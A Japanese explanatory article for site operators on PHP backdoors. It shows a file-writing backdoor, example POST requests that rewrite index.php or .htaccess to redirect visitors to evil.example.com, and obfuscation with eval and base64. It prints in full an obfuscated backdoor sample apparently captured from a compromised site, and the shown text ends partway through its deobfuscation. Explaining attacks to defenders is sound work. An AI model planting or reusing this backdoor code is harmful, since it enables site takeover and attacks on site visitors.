バックドアの実例と対応
はじめに
Webサイトのソースが改ざんされて、見れなくなった。
全然違うページが表示されている。
コードを修正してもすぐにまた改ざんされる。
・・・といったご相談が相次いでおります。
Webサイトの何らかの脆弱性を突かれ、「バックドア」を設置された、というパターンです。
攻撃を受けたサイトのリカバリー対応は、本当に神経を使いますし、骨が折れます。
(そして何より生産的ではありません・・・)
折角なので、バックドアに対する理解を深めていただけると嬉しいなと思い、記事を書きました。
バックドアとはこんなもの
皆さん言葉は知っていると思いますが、
「バックドア」とは、ざっくり言うとこんなイメージのファイルです。
(詳細は後述しますが、これはあくまでイメージです。)
<?php
$path = __DIR__ . '/' . $_POST['path'];
$content = $_POST['content'];
file_put_content($path, $content);
このファイルを、あなたのサーバの公開領域に置かれたら、どうなるでしょうか。
設置者は、このファイルを目がけて、例えば以下のようなリクエストを送信します。
POST https://yoursite.example.com/path/to/backdoor.php
path : ../../index.php
content : <?php header('Location: http://evil.example.com'); ?>
あるいは
POST https://yoursite.example.com/path/to/backdoor.php
path : ../../.htaccess
content : RewriteEngine On
RewriteRule .* http://evil.example.com [R=301]
これだけで、index.php や htaccess を改ざん、または設置され、
あなたのサイトの訪問者やアプリケーションの利用者が、
攻撃者のサイトにリダイレクトされます。
もはやファイルを自由に編集できるのに等しいので、
例えば、ページの内容を丸ごと書き換える、
ユーザの $_SESSION を読み取って外部に送信する、
フォームの入力値を外部に送信する、
exec() でサーバを操作する等、やりたい放題です。
増殖するバックドア
さらに、こんなデータが送信されたらどうなるでしょうか。
POST https://yoursite.example.com/path/to/backdoor.php
path : ../../second_door.php
content : <?php
$path = __DIR__ . '/' . $_POST['path'];
$content = $_POST['content'];
file_put_content($path, $content);
?>
バックドアにより、新たなバックドアが作られることになります。
これが攻撃の常套手段で、主目的である改ざんを行いながら、
同時に複数の場所にバックドアを設置していきます。
管理者がバックドアを発見して削除しても、1つでも残っていれば、
容易に再度攻撃され、またバックドアも増やされてしまうのです。
より実践的な(?)バックドア
最初に紹介したコードは以下のようなものですが、
実際にはこのようなコードは、ほとんどありません。
<?php
$path = __DIR__ . '/' . $_POST['path'];
$content = $_POST['content'];
file_put_content($path, $content);
まず、アクセスログに、攻撃者の、いかにも怪しいリクエストが残ってしまうからです。
実際には、以下のように、対象パスや改ざん内容をハードコーディングしていることが多いです。
<?php
$paths = ["./index.php", "../index.php", "../../index.php", "../../../index.php"];
foreach ($paths as $path) {
file_put_content($path, "<?php /* 攻撃用コード */ ?>");
}
こうすると、攻撃は GET 1本で済みますし、
ユーザのアクセスするファイルにこのコードを埋め込んでしまえば、
攻撃者が手を下さずとも、ファイルの改ざんが繰り返されることになります。
さらには、glob() 関数などを用いて、
全ディレクトリに再帰的にファイル設置を行うようなパターンもあります。
ただ、これではひとめ見ただけで、怪しいファイルだとわかってしまいますよね。
そこで、攻撃者は色々工夫を凝らしてきます。
<?php
eval('$paths = ["./index.php", "../index.php", "../../index.php", "../../../index.php"]; foreach ($paths as $path) { file_put_content($path, "<?php /* 攻撃用コード */ ?>"); }');
eval() 関数は、引数の文字列を、そのままPHPコードとして評価(実行)する関数です。
つまり先のコードと全く同じ動作をします。
さらに、この引数の中身を BASE64エンコード すると、
<?php
eval(base64_decode('JHBhdGhzID0gWyIuL2luZGV4LnBocCIsICIuLi9pbmRleC5waHAiLCAiLi4vLi4vaW5kZXgucGhwIiwgIi4uLy4uLy4uL2luZGV4LnBocCJdOyBmb3JlYWNoICgkcGF0aHMgYXMgJHBhdGgpIHsgZmlsZV9wdXRfY29udGVudCgkcGF0aCwgIjw/cGhwIC8qIOaUu+aSg+eUqOOCs+ODvOODiSAqLyA/PiIpOyB9'));
一見何をしているのか、わからなくなりました。
実際、バックドアや攻撃用ファイルに、eval() と base64_decode() は頻出です。
では、これらの関数名で grep すれば発見できるのかといえば、そんなに甘くもありません。
こうして、
<?php
$x = 'eval';
$y = 'base64_decode';
$x($y('JHBhdGhzID0gWyIuL2luZGV4LnBocCIsICIuLi9pbmRleC5waHAiLCAiLi4vLi4vaW5kZXgucGhwIiwgIi4uLy4uLy4uL2luZGV4LnBocCJdOyBmb3JlYWNoICgkcGF0aHMgYXMgJHBhdGgpIHsgZmlsZV9wdXRfY29udGVudCgkcGF0aCwgIjw/cGhwIC8qIOaUu+aSg+eUqOOCs+ODvOODiSAqLyA/PiIpOyB9'));
こうすると、
<?php
$w = '0123456789abcdefghijklmnopqrstuvwxyz_';
$x = $w[14].$w[31].$w[10].$w[21];
$y = $w[11].$w[10].$w[28].$w[14].$w[6].$w[4].$w[36].$w[13].$w[14].$w[12].$w[24].$w[13].$w[14];
$x($y('JHBhdGhzID0gWyIuL2luZGV4LnBocCIsICIuLi9pbmRleC5waHAiLCAiLi4vLi4vaW5kZXgucGhwIiwgIi4uLy4uLy4uL2luZGV4LnBocCJdOyBmb3JlYWNoICgkcGF0aHMgYXMgJHBhdGgpIHsgZmlsZV9wdXRfY29udGVudCgkcGF0aCwgIjw/cGhwIC8qIOaUu+aSg+eUqOOCs+ODvOODiSAqLyA/PiIpOyB9'));
はい、コードから一切の関数名がなくなりました。
このコード全体をさらに BASE64エンコード する等して、2重3重に難読化されていることが多いです。
実際のバックドアプログラム
最近採取したサンプルのひとつをご紹介します。
locale.php などという、いかにもありそうなファイル名で置かれていました。
<?php $tJvyYsXGpmgwi='y(3;]whcx)8$4mb dk1qog5sprlua=z_/0i9tvf_"76*.2n[je';$q2866=$tJvyYsXGpmgwi[(105/15)].$tJvyYsXGpmgwi[(26-1)].$tJvyYsXGpmgwi[(1*49)].$tJvyYsXGpmgwi[((10*1)+18)].$tJvyYsXGpmgwi[(14+22)].$tJvyYsXGpmgwi[(44+5)].$tJvyYsXGpmgwi[(44-13)].$tJvyYsXGpmgwi[(684/18)].$tJvyYsXGpmgwi[(23+4)].$tJvyYsXGpmgwi[(72-(33-7))].$tJvyYsXGpmgwi[(154/22)].$tJvyYsXGpmgwi[(11+25)].$tJvyYsXGpmgwi[(65-(62-31))].$tJvyYsXGpmgwi[(26-6)].$tJvyYsXGpmgwi[((27*2)-8)];$pHFdNhg9688=$tJvyYsXGpmgwi[(20-9)].$tJvyYsXGpmgwi[(2*4)].$tJvyYsXGpmgwi[(29*1)].$tJvyYsXGpmgwi[(160/4)];$MYtraky2482=$tJvyYsXGpmgwi[(8*5)].$tJvyYsXGpmgwi[((1+0)+2)].$tJvyYsXGpmgwi[(6+(1*(95/19)))].$tJvyYsXGpmgwi[(140/5)].$tJvyYsXGpmgwi[(522/18)].$tJvyYsXGpmgwi[(7*((7-3)-2))].$tJvyYsXGpmgwi[(2*14)].$tJvyYsXGpmgwi[(138/(2+4))].$tJvyYsXGpmgwi[(1029/(378/18))].$tJvyYsXGpmgwi[((2*189)/9)].$tJvyYsXGpmgwi[(12+(0+0))].$tJvyYsXGpmgwi[(31*1)].$tJvyYsXGpmgwi[(48/(36/12))].$tJvyYsXGpmgwi[(735/15)].$tJvyYsXGpmgwi[(0+7)].$tJvyYsXGpmgwi[(18+2)].$tJvyYsXGpmgwi[(18-(10/5))].$tJvyYsXGpmgwi[(735/15)].$tJvyYsXGpmgwi[(0+(2-(1*1)))].$tJvyYsXGpmgwi[(16-(3+(36/(0+18))))].$tJvyYsXGpmgwi[((167-23)/18)].$tJvyYsXGpmgwi[(0+(18-9))].$tJvyYsXGpmgwi[(1*3)].$tJvyYsXGpmgwi[(11*(1+(0/(78/13))))].$tJvyYsXGpmgwi[(2*7)].$tJvyYsXGpmgwi[(29*(0+1))].$tJvyYsXGpmgwi[(38-(8+9))].$tJvyYsXGpmgwi[(15*2)].$tJvyYsXGpmgwi[(45-11)].$tJvyYsXGpmgwi[(1*46)].$tJvyYsXGpmgwi[(1*(17+21))].$tJvyYsXGpmgwi[(78/3)].$tJvyYsXGpmgwi[(21+(77/11))].$tJvyYsXGpmgwi[(22+14)].$tJvyYsXGpmgwi[(343/(91/13))].$tJvyYsXGpmgwi[(1*1)].$tJvyYsXGpmgwi[(21-10)].$tJvyYsXGpmgwi[(22+(12/2))].$tJvyYsXGpmgwi[(180/20)].$tJvyYsXGpmgwi[(3+((0+0)*1))].$tJvyYsXGpmgwi[(686/(126/9))].$tJvyYsXGpmgwi[(61-(32-8))].$tJvyYsXGpmgwi[(476/17)].$tJvyYsXGpmgwi[((4-0)+22)].$tJvyYsXGpmgwi[(((23-(2*5))/13)-0)].$tJvyYsXGpmgwi[(7+(84/21))].$tJvyYsXGpmgwi[(28/2)].$tJvyYsXGpmgwi[(9-0)].$tJvyYsXGpmgwi[(3*1)];$UrR1094= "'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'";$JTx2343=$pHFdNhg9688;$JTx2343.=$UrR1094;$JTx2343.=$MYtraky2482;@$mEriqO3481=$q2866((''), ($JTx2343));@$mEriqO3481(); ?>
前述のように文字列のインデックスを利用した難読化がされていますが、
1段階噛み砕くと、こうなります。
<?php
$x="'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